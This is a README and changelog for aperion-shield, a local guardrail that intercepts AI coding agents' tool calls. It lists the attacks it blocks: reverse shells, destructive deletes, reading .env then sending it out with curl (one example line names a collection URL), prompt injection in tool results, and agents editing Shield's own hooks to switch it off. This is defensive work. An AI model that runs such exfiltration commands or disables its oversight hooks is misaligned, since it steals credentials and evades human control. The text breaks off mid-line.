Aperion Shield

aperion-shield — local MCP guardrail for AI coding agents

Works with:

### ⭐ Star this repo if you think AI agents shouldn't touch prod unsupervised

aperion-shield is the free reference implementation of consequence-level control for AI coding agents — the layer that stops a destructive tools/call *before* it lands, not a log you read after the damage is done. It's transparent insurance: you don't notice it until the day it saves you.

If that's a problem you take seriously, a ⭐ is the fastest way to help other engineers in regulated and high-stakes shops find it before they need it → [Star aperion-shield on GitHub](https://github.com/AperionAI/shield)

aperion-shield is a tiny, local MCP guardrail that sits between your AI coding agent (Cursor, Claude Code, …) and the real MCP servers your agent talks to (postgres, github, shell, filesystem, …) — local stdio servers *and*, since v0.9, remote Streamable HTTP ones. On every tools/call it evaluates 65+ adaptive safety rules (plus an optional 40-rule community pack) across destructive surfaces — SQL, git, filesystem, secrets exfiltration, supply-chain RCE, reverse shells, sudo / privilege escalation, cloud (AWS/GCP/Azure), Kubernetes, Docker, IAM / cloud privilege escalation, anti-forensics (audit & log tampering), NoSQL / cache / search (Mongo, Redis, Elasticsearch, Cassandra), disabling host security controls, and Windows / PowerShell — and either blocks the call, prompts you for approval, or lets it through with a warning banner. And since v0.9 it watches the other direction too: tool catalogs are TOFU-pinned against rug pulls, descriptions are scanned for tool poisoning, and tool results are scanned for prompt injection. v1.0 completes the story before install and below the protocol: --scan audits an MCP server before you ever wire it in, and --sandbox confines the server *process* at the OS level. And since v1.4, reversible secret cloaking lets your agent reference a real credential as a {{cloak:NAME}} placeholder — the secret is substituted in only on the frame Shield forwards upstream and scrubbed back out of any result, so it never enters the model's context, transcript, or prompt cache. v1.5 adds the seam the August 2026 market actually demos: native Cursor / Claude Code PreToolUse hooks (fail-closed), --scan-ide for TrustFall project MCP + Skills, and curl -fsSL https://shield-get.aperion.ai | sh.

Plus, when you need to prove who approved a destructive call — not just that *someone* did — Shield can gate selected rules behind biometric identity verification (ID.me, or a pluggable OIDC provider). And when you outgrow the single-machine model, the same binary enrolls into a Smartflow control plane with one command to pull org-wide policy, ship audit upstream, and use your existing IdP as the relying party — no rewrite, no re-install.

---

What's new in v1.20

v1.8 and v1.9 ship together as shield-v1.20.0. Same ask on every host we install hooks for: Claude Code and Gemini get permissionDecision: ask on PreToolUse. Cursor, Codex, and Copilot get permission: ask on beforeShellExecution and beforeMCPExecution, which is the event those hosts actually prompt on. A rule written as Critical (rm -rf /, a reverse shell, an agent editing Shield) is still a hard deny.

curl -fsSL https://shield-get.aperion.ai | sh

aperion-shield --install-agent-hooks aperion-shield --install-guard

---

What's new in v1.9

A watcher that sits next to the hooks, not in front of them.

1. `--guard`. Polls your hook configs, MCP configs, and agent rules files (AGENTS.md, CLAUDE.md, .cursorrules, .cursor/rules). When one changes it runs the IDE scan again. If an agent deleted Shield's hook entry, the entry is put back. A desktop notification is the alert. No root.
2. `--install-guard` / `--uninstall-guard`. Writes a user launchd agent on macOS or a systemd --user unit on Linux and loads it. --guard-once is a single pass.
3. `--scan-ide` covers rules files and extensions. Hidden Unicode and injected instructions in rules files. Cursor and VS Code extensions: missing publisher, a name sitting next to a known extension, and anything installed in the last 14 days.

aperion-shield --install-agent-hooks

aperion-shield --install-guard

A credential read followed by curl is an ask, the same allow/deny card Cursor already shows for a git push. rm -rf /, a reverse shell, and an agent editing Shield's own hooks stay a hard deny.

---

What's new in v1.8

Shield already stopped a bad tool call before it ran. It did not watch what the agent had just read, so "read .env, then curl it somewhere" got through whenever the two steps were separate. v1.8 closes that on the machine you already installed, with no cloud and no model in the loop.

1. Post-tool hook. --install-agent-hooks now also registers Claude/Gemini PostToolUse and Cursor afterShellExecution, afterMCPExecution, and postToolUse (Codex and Copilot get postToolUse). The new --check-hook-post scans that output with the existing tool_result injection rules, tags any credential shape into the taint ledger, and writes a short-lived session flag. Claude can deny and hand the reason back to the model. Cursor's post events cannot deny, so the flag is what the next pre-call acts on. Cursor beforeReadFile is wired too: that event already has the file body and can deny before the model sees it.

1. Read-then-send. egress.after_secret_read asks (the IDE allow/deny card) before a network send (curl -d/-F/-T, wget --post-file, nc, socat, remote scp/rsync, git push of a URL, an inline HTTP POST, DNS via $(...)) when this session already read a credential or the taint ledger matches. egress.after_injection asks when the session saw injected tool output. egress.unlisted_host warns on any other send. policy.egress.allow_hosts (or APERION_SHIELD_EGRESS_ALLOW) quiets the warn for known hosts. It does not quiet the two escalations.

1. Wider credential reads. Browser cookie and login stores, macOS keychain dumps, op read / gh auth token, and dev configs (.npmrc, .pypirc, .netrc, docker, kube, gcloud, wallet paths).

1. The agent cannot turn Shield off. shield.self_tamper blocks an agent write or shell call that touches hook configs, ~/.aperion-shield/, SHIELD_HOOKS_DISABLE, SHIELD_SHIMS_DISABLE, or an uninstall flag. It is where: agent_hook, so it does not fire from your own terminal or the shell shims. aperion-shield --summarize still runs.

aperion-shield --install-agent-hooks

agent: Read .env

agent: curl -d @- https://x.io/collect -> ask, egress.after_secret_read

---

What's new in v1.7

One cost feature, on the security seam Shield already owns. Most of a coding agent's frontier-model bill is loading files, not thinking about them. v1.7 refuses the load and hands the file to a cheap model instead.

1. I/O offload gate. Set policy.io_offload.min_lines: 350 in your shieldset (or APERION_SHIELD_OFFLOAD_MIN_LINES=350 on one machine) and the PreToolUse hook denies a full Read, cat, less, or head -n 900 of any file over that many lines (rule io.offload_large_read). Targeted reads (offset/limit), pipes, redirects, head/tail with a small -n, binaries, and missing files pass. Off by default: nothing changes for existing installs until you set it.

1. `--summarize`. What the deny message points the agent at. Reads the file(s) locally, posts them with a question to your Smartflow's /api/offload/summarize, and prints bullets with path:line citations from the efficient model. The expensive model sees a dozen lines instead of a few thousand. Gateway comes from --offload-url / --offload-key, APERION_SHIELD_OFFLOAD_URL / _KEY, or the org-mode enrollment. The saving shows up in FinOps under io_offload.

export APERION_SHIELD_OFFLOAD_MIN_LINES=350

agent tries: Read src/proxy_handler.rs (13,000 lines) -> denied, told to run:

aperion-shield --summarize src/proxy_handler.rs --question "where is vkey auth enforced?"

The gate is the hook you already installed and the summarizer is your own governed gateway. Nothing leaves your Smartflow.

---

What's new in v1.6

v1.5 covered the IDE hook seam and curl | sh. v1.6 fills the leftover holes from that pass:

1. Linux Landlock sandbox. --sandbox secrets / --sandbox strict now confine the stdio upstream on Linux the way Seatbelt already does on macOS. strict without --sandbox-allow-network refuses to start if the kernel cannot deny TCP. Helper flag --internal-sandbox-exec is not user-facing.
2. Windows PATH shims. --install-shims writes aws.cmd (and friends) so PATHEXT resolves them. Same fail-open / SHIELD_SHIMS_DISABLE=1 contract as the POSIX shims.
3. Codex / Gemini CLI / Copilot CLI hooks. --install-agent-hooks merges user-level config for those hosts too (Cursor dialect for Codex and Copilot, Claude dialect for Gemini).
4. TrustFall follow-through. Install prints project-level hook files it finds (and does not modify them). --scan-ide flags scan.ide.project_hooks.

---

What's new in v1.5

The August 2026 market moved the real attack surface off MCP wrappers. Agents run Bash, Write, and Read as native tools. Project mcp.json can auto-start on folder trust (TrustFall). Snyk Agent Scan walks the whole machine. v1.5 covers those three without a cloud account.

1. Native agent hooks. aperion-shield --install-agent-hooks writes fail-closed wrappers and merges user-level Claude Code PreToolUse (~/.claude/settings.json) and Cursor preToolUse (~/.cursor/hooks.json). --check-hook reads the host JSON on stdin and emits the matching deny dialect (they are not interchangeable). SHIELD_HOOKS_DISABLE=1 is the documented bypass. Project-level hook files are left alone on purpose — TrustFall is project-injected.

1. `--scan-ide`. Walks Cursor / Claude / Windsurf / Codex MCP configs under $HOME and the project root, plus SKILL.md trees. Flags unwrapped command-type servers, unpinned npx/uvx, and project-local configs. Skills run through the ATR skill_compromise rules. Nothing is executed. Exit 0/1/2 for CI.

1. `curl | sh` install. curl -fsSL https://shield-get.aperion.ai | sh (same pattern as Halo). Then --install-agent-hooks. Halo's installer now prints that two-liner after a successful Halo install — Shield is not silently bundled.

curl -fsSL https://shield-ge